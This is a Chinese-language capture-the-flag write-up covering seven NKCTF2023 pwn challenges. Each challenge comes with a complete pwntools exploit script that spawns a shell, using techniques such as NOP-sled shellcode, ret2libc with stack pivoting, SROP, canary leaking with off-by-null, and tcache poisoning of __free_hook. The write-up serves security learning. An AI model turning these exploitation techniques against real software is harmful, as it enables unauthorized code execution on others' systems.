姗姗来迟…我是蓝狗。从这场比赛中学到了许多新知识,所以记录一下。

ezshellcode

能输入 0x100 字节的任意指令执行,很明显直接丢个 shellcode 进去就行了。

问题是程序不是从 &buf2 处开始执行,会取 v6 的值为偏移,而 v6 是个随机数,没设置随机数种子,这种情况下应该是取时间戳吧,所以程序会从 &buf2[1-100] 这个范围中的随机一个位置开始执行。这个也好办,在 shellcode 前面填充一百个字节的滑板指令就行,即 ‘nop’ .

exp 如下:

#coding=utf-8
from pwn import*p = process('./pwn')
#p = remote('node2.yuzhian.com.cn',31146)
context(os = 'linux',arch = 'amd64',log_level = 'debug')def debug():gdb.attach(p)pause()shellcode = asm('nop\n'*100)
shellcode += asm(shellcraft.sh())
#shellcode += '\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'#debug()
#print(len(shellcode))
p.send(shellcode)
p.interactive()

a_story_of_a_pwner

这题思路就是去了解师傅的故事,听他的心声(bushi

大致就是前 3 个选项都是输出一段话,然后分别给一个 0x8 字节的输入点,都是往 bss 段处写的,而且他们是连续的,也就是说你能写一段连续的 0x18 字节的内存空间。

要是没有听完师傅的三段故事就去执行 选项4 的话,会跳转到 warning() 函数,这里直接给了 puts 函数的地址,题目还给了 libc 版本,就能直接计算 libc 的基地址了。这就好打了,相当于 libc 都不用自己泄的 ret2libc.

然后听完那三段故事就能执行到 heart() 函数,这里有 0x20-0xA 字节的溢出。

刚开始我寻思直接将返回地址改成 one_gadget 就好了, 然而用 2.31-0ubuntu9.9 的那三个 one_gadget 都不能通,毕竟这玩意的成功执行是需要条件的,在这题就不适用了。

换个思路,我们还有一段可写的连续的 bss 段空间能利用,直接往这里写入 rop 链,然后栈迁移到这里就好了。

exp 如下(要用来打本地先把程序 patch 成 2.31-0ubuntu9.9 版本的 libc):

from pwn import *p = process('./pwn')
#p = remote('node2.yuzhian.com.cn',30702)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context.log_level = 'debug'def debug():gdb.attach(p)pause()p.sendlineafter('> \n','4')
p.recvuntil('0x')
puts_addr = int(p.recv(12),16)
libc_base = puts_addr - libc.symbols['puts']
log.info("libc_base: " + hex(libc_base))#2.31-0ubuntu9.9 one_gadget
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
shell = libc_base + one_gadget[0]
binsh_addr = libc_base + libc.search(b'/bin/sh\x00').next()
system_addr = libc_base + libc.symbols['system']
pop_rdi_ret = 0x401573p.sendlineafter('> \n','1')
p.sendafter('t?\n',p64(binsh_addr))
p.sendlineafter('> \n','2')
p.sendafter('t?\n',p64(pop_rdi_ret))
p.sendlineafter('> \n','3')
p.sendafter('T?\n',p64(system_addr))#debug()
ret = 0x401503
leave_ret = 0x401502
bss = 0x4050A0 - 0x8
#payload = 'a' * (0xA + 0x8) + p64(shell)
payload = 'a' * (0xA) + p64(bss) + p64(leave_ret)
p.sendlineafter('> \n', '4')
p.sendafter('...\n', payload)p.interactive()

ez_stack

这题就比较有意思了,直接看汇编会更清晰。整个程序仅由一个 write 和一个 read 的系统调用组成。先是输出一句话,然后有个 0x200 字节的输入点,能溢出非常多,够我们做很多事了。

这题的难点在于怎么去构造 rop 链,由于程序本身没有直接地调用函数,所以能利用的 gadget 也就非常少,思路自然而然地转向如何通过 syscall 来 getshell 了。

找到了这么一个 gadget: mov rax, 0xf
去查了下 x64 下的 15 号中断,发现能利用它进行 SROP attack.

大致思路有了,下一步是要往程序中写入 ‘/bin/sh\x00’, 而且要能确定写进的是什么地址。

我们可以控制程序执行流回到 vuln() 函数前面的位置,因为我们刚执行完 read 的系统调用,此时 rax == 0 。将返回地址改到 0x4011cb,能绕过 ‘mov rax,1’ 的对 rax 重新赋值。程序继续往下执行时,就会执行能往 &nkctf 处写入 0x26 字节的 read,在这里输送一个 ‘/bin/sh\x00’ 进去。

&nkctf == 0x404040,即我们写入的 ‘/bin/sh\x00’ 的地址。

exp 如下:

from pwn import *
p = process('./ez_stack')
#p = remote('node2.yuzhian.com.cn',35543)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./ez_stack')
libc = elf.libcdef debug():gdb.attach(p)pause()syscall = 0x4011ee
mov_rax_15 = 0x401146
bin_sh = 0x404040#call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall#debug()
payload = 'a'*(0x10 + 0x8)
payload += p64(0x4011C8)
payload += p64(0)
payload += p64(mov_rax_15)
payload += p64(syscall)
payload += str(sigframe)
sleep(0.1)
p.sendlineafter('F!\n',payload)#debug()
sleep(0.1)
p.sendline('/bin/sh\x00')
sleep(0.1)
p.sendline('\x00')p.interactive()

baby_rop

刚开始调了很久,非常疑惑,因为 rbp 跳来跳去的…

有个格式化字符串,能泄 canary, old_ebp…

但,下面那个输入点,好像也妹溢出啊。能写入 256 字节,v4 占了 248 字节,然后 v4 底下有个 0x8 字节的金丝雀,刚好写完金丝雀,就…完了?

my_read 函数中有 off-by-null,能修改 old_ebp 的最低一字节为 ‘\x00’,就能上抬栈底指针了,这样虽然没能影响 vuln 的返回地址,但能影响到上一层函数,即 main 函数的返回地址,rsp 有可能就跳去了你之前输入的 0x100 个字节内容当中。

泄金丝雀 + 修改 old_ebp 的低一字节 + rop 链 + 在链子前填充大量的 ret 当作滑板提高成功率,就也能当作 ret2libc 打了。

exp 如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
from LibcSearcher import*p = process('./nkctf_message_boards')
elf = ELF('./nkctf_message_boards')
#p = remote('node2.yuzhian.com.cn',36934)def debug():gdb.attach(p)pause()payload1 = '%41$p'
sleep(0.1)
p.sendline(payload1)
p.recvuntil('0x')
s = p.recv(16)
canary = int(s,16)
log.info("canary:" + hex(canary))puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x401413
ret = 0x40138B#debug()
payload2 =  p64(ret) * 25
payload2 += p64(pop_rdi_ret)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(main_addr)
payload2 += 'a' * (0x10) +  p64(canary)sleep(0.1)
p.send(payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
log.info("libc_base:" + hex(libc_base))
binsh = libc_base + libc.dump('str_bin_sh')
system = libc_base + libc.dump('system')sleep(0.1)
p.sendline(payload1)payload3 =  p64(ret) * 26
payload3 += p64(pop_rdi_ret)
payload3 += p64(binsh)
payload3 += p64(system)
payload3 += 'a' * (0x10) +  p64(canary)sleep(0.1)
p.send(payload3)p.interactive()

9961code

输入长度为 0x16 字节的任意指令执行,手搓 shellcode …

本来要使用 push/pop 往栈中写入 ‘/bin/sh’ 的话,能写出巨短的 shellcode, 但是这题在跳转执行写入的 shellcode 前,会将所有寄存器都赋值为 0x9961,包括 rsp !!!

要是执行到 push/pop 的话,程序就会直接报错了,因为 0x9961 指向的是一个非法栈地址。

所以写 shellcode 的时候要避开用到栈相关指针。

exp 如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p = process('./pwn')
#p = remote('node2.yuzhian.com.cn',39463)def debug():gdb.attach(p)pause()shellcode = asm('''mov edi, 0x996100fxor edx, edxxor esi, esimov ax, 0x3bsyscall''')#debug()
payload = shellcode + '/bin/sh'
#print(len(payload))
p.sendlineafter('e!\n\n',payload)p.interactive()

baby_heap

一开始复现这题的时候 libc 死活 patch 不过去,第一次遇到这种问题 emm…

解决方法是将上图蓝框处的 libc.so.6 修改成绝对路径,即红框处的那个路径,而不是只写 libc.so.6 。此处特别感谢 ckyan 师傅。

第一次打高版本堆…
edit() 函数中存在 off-by-one 漏洞,利用 overlapping 泄露 libc,泄露 tcache 加密 fd 的 key,修改 fd 指针,实现打 __free_hook

exp 如下:

#coding=utf-8
from pwn import *p = process('./pwn')
# p = remote('node2.yuzhian.com.cn', 39502)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
libc = ELF('./libc-2.32.so')def debug():gdb.attach(p)pause()def add(idx, size):p.sendlineafter("choice: ",'1')p.sendlineafter("index: ",str(idx))p.sendlineafter("Size: ",str(size))def delete(idx):p.sendlineafter("choice: ",'2')p.sendlineafter("index: ",str(idx))def edit(idx, content):p.sendlineafter("choice: ",'3')p.sendlineafter("index: ",str(idx))p.sendlineafter("content: ",content)def show(idx):p.sendlineafter("choice: ",'4')p.sendlineafter("index: ",str(idx))add('0', '24')
add('1', '32')
for i in range(2, 7):add(str(i), '16')
# 填充tcache
for i in range(7, 15):add(str(i), '192')
for i in range(7, 15):delete(str(i)) # 修改下一个堆块的size
payload = 'a' * 24 + p8(0xd1)
edit('0', payload)
delete('1')    # 进入unsorted bin# 泄漏libc地址
add('1', '32')
show('1')
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\00')) - 224 - 0x10 - 0x40
base_addr = malloc_hook - libc.sym['__malloc_hook']
log.info("base_addr:" + hex(base_addr))
free_addr = base_addr + libc.sym['__free_hook']
system_addr = base_addr + libc.sym['system']# 泄漏tcache加密fd的key
add('7', '16')
delete('7')
show('2')
key = u64(p.recvuntil('\x05')[-5:].ljust(8, '\00'))# 修改fd指针指向 __free_hook
add('7', '48')
delete('4')
payload = 'a' * 0x20 + p64(free_addr ^ key)
edit('7', payload)# 填入/bin/sh
add('8', '16')
add('9', '16')
edit('9', p64(system_addr))
edit('8', b'/bin/sh\00')
delete('8')p.interactive()

跟着这篇 blog 复现的,感谢。
https://he.tld1027.com/2023/03/27/nkctf2023-pwn%e9%83%a8%e5%88%86wp/#4

only_read

这题是跟着 enllus1on 师傅的 wp 复现的,因为感觉这种思路比较独特,记录一下。感谢。
NKCTF2023_enllus1on的博客-CSDN博客

base64 + 栈溢出 + 只能够调用read函数 + Partial RELRO, got 表可写。
hijack got 改 memset_got 为 read_plt,改 read_got 为 syscall,往 bss 段布置 rop,栈迁移到 bss 执行 rop。最后在执行完最后一次 read 后调用 syscall (read 函数会将读入的字节数赋值给 rax) 实现执行 15 号系统调用,实现 srop 攻击。

exp 如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
from LibcSearcher import*
p = process('./pwn')
elf = ELF('./pwn')
#p = remote('node2.yuzhian.com.cn',39463)def debug():gdb.attach(p)pause()#debug()
sleep(0.1)
payload1 = 'V2VsY29tZSB0byBOS0NURiE='
p.send(payload1)sleep(0.1)
payload2 = 'dGVsbCB5b3UgYSBzZWNyZXQ6'
p.send(payload2)sleep(0.1)
payload3 = 'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45'
p.send(payload3)sleep(0.1)
payload4 = 'Y2FuIHlvdSBmaW5kIG1lPw=='
p.send(payload4)pop_rdi_ret = 0x401683
pop_rsi_r15_ret = 0x401681
pop_rbp_ret = 0x40117d
leave_ret = 0x4013c2
bss = elf.bss(0xe00)
payload5 = 'a'*(0x30+8) + p64(pop_rdi_ret) + p64(0)
payload5 += p64(pop_rsi_r15_ret) + p64(elf.got["memset"]) + p64(0)
payload5 += p64(elf.plt["read"])
payload5 += p64(pop_rdi_ret) + p64(0)
payload5 += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload5 += p64(elf.plt["memset"])
payload5 += p64(pop_rbp_ret) + p64(bss)
payload5 += p64(leave_ret)
#debug()
sleep(0.1)
p.send(payload5)payload6 = p64(0x401050) + '\xd0'
#debug()
sleep(0.1)
p.send(payload6)sigframe = SigreturnFrame()
sigframe.rdi = bss
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rax = 59
sigframe.rsp = bss + 0x100
sigframe.rip = elf.plt["read"]
payload7 = "/bin/sh\x00"
payload7 += p64(pop_rdi_ret) + p64(0)
payload7 += p64(pop_rsi_r15_ret) + p64(elf.got["memset"]-6) + p64(0)
payload7 += p64(elf.plt["memset"])
payload7 += p64(elf.plt["read"])
payload7 += str(sigframe)
sleep(0.1)
p.send(payload7)sleep(0.1)
payload8 = '\x00'*6 + p64(0x401050) + '\xd0'
p.send(payload8)p.interactive()

NKCTF2023 pwn wp相关推荐

  1. 2022 hgame pwn wp

    2022 hgame pwn wp 本来早就写好了,但是由于复试毕设等等原因拖到今天才发 包括了绝大部分题目,除了算法题spfa和bpwn,剩下一些简单题懒得写了orz 文章目录 2022 hgame ...

  2. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

  3. SCU新生赛2021 pwn wp

    前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了.太菜了呜呜呜.极客大挑战因为打太久了,题目都快忘记了,就不写wp了. ret2t ...

  4. CSTC 部分pwn wp

    1.bank 直接拖入ida分析,password是由fgets函数读取的,因此当生成的第一个随机数为0xa时,密码就会被截断,即为0xa. 可以发现flag被读入栈中,并且有格式化字符串漏洞,经调试 ...

  5. 巅峰极客pwn wp

    Pwn gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写. delete:有UAF show: ...

  6. Dasctf 6月赛其余pwn WP

    copy: 这题主要是堆风水的利用,通过运行我们可以发现,每次申请块之后都会free掉这个块,但是接下来执行删除操作的时候我们还可以利用这个指针因此存在uaf漏洞,剩下的就是堆风水的利用了,不再赘述 ...

  7. BUUCTF pwn wp 76 - 80

    cmcc_pwnme2 int __cdecl userfunction(char *src) {char dest[108]; // [esp+Ch] [ebp-6Ch] BYREFstrcpy(d ...

  8. HSC-1th pwn wp

    pwn1: 白给 ret2text from pwn import * p = remote( "hsc2019.site",10105) pl1 = "a"* ...

  9. DASCTF 7月赋能赛pwn wp

    pwn eyfor buf可以覆盖seed,覆盖之后直接可以生成随机数.猜数成功之后可以进入一个栈溢出: 程序自带system函数,同时会将payload strcpy到bss段上,因此可以在payl ...

最新文章

  1. python解释器pypy
  2. 在Ubuntu 8.04上安装Domino R8.02
  3. python round函数_python中round函数如何使用
  4. 4 contextHook
  5. Asp-Net-Core开发笔记:在docker部署时遇到一个小坑
  6. JDK 9已完成功能!
  7. 阿里云使用idea通过hdfs api来上传文件时出现could only be written to 0 of the 1 minReplication nodes.错误
  8. html 修改坐标时间,牛顿:时间是人类的错觉,爱因斯坦:时间只是能更改的坐标...
  9. [BZOJ3110] [Zjoi2013]K大数查询
  10. 【译】UI设计基础(UI Design Basics)--启动与停止(Starting and Stopping)(五)
  11. 基于QT实现的钢琴软件 (MFC大作业)
  12. Python操作Excel制作可视化数据图,实现自动化办公
  13. linux网卡驱动重新安装,LINUX网卡驱动重新安装
  14. 决策树first task之框架搭建和提出问题
  15. B. Ternary Sequence
  16. 华为路由协议与简单实验
  17. ubuntu卸载xilinx
  18. 【luogu P2455 [SDOI2006]线性方程组】 题解
  19. Cast-Designer Weld人工智能参与的多道焊工艺参数设计
  20. 让lebel和radio/checkbox水平对齐

热门文章

  1. antV G2plot清除图注removeAnnotation
  2. 数据到手了,第一件事先干啥?| 说人话的统计学
  3. 基于最小二乘法的点云空间平面拟合(C++实现)
  4. 作者:陈跃国(1978-),男,中国人民大学信息学院副教授,博士生导师。
  5. 2 Linux中内核级加强防火墙的管理
  6. 医院oracle数据使用价格,基于Oracle数据库的医院门诊收费管理系统的构建研究
  7. ssm+JSP计算机毕业设计医院门诊收费管理系统rsh75【源码、程序、数据库、部署】
  8. 【020】翼辉信息董事长韩辉先生受北京工业大学邀请发表学术演讲
  9. 安全可靠的Windows Servere 2008 R2服务器操作系统
  10. 计算机四级网络技术题库套,全国计算机等级考试四级计算机网络第6套试题(3)...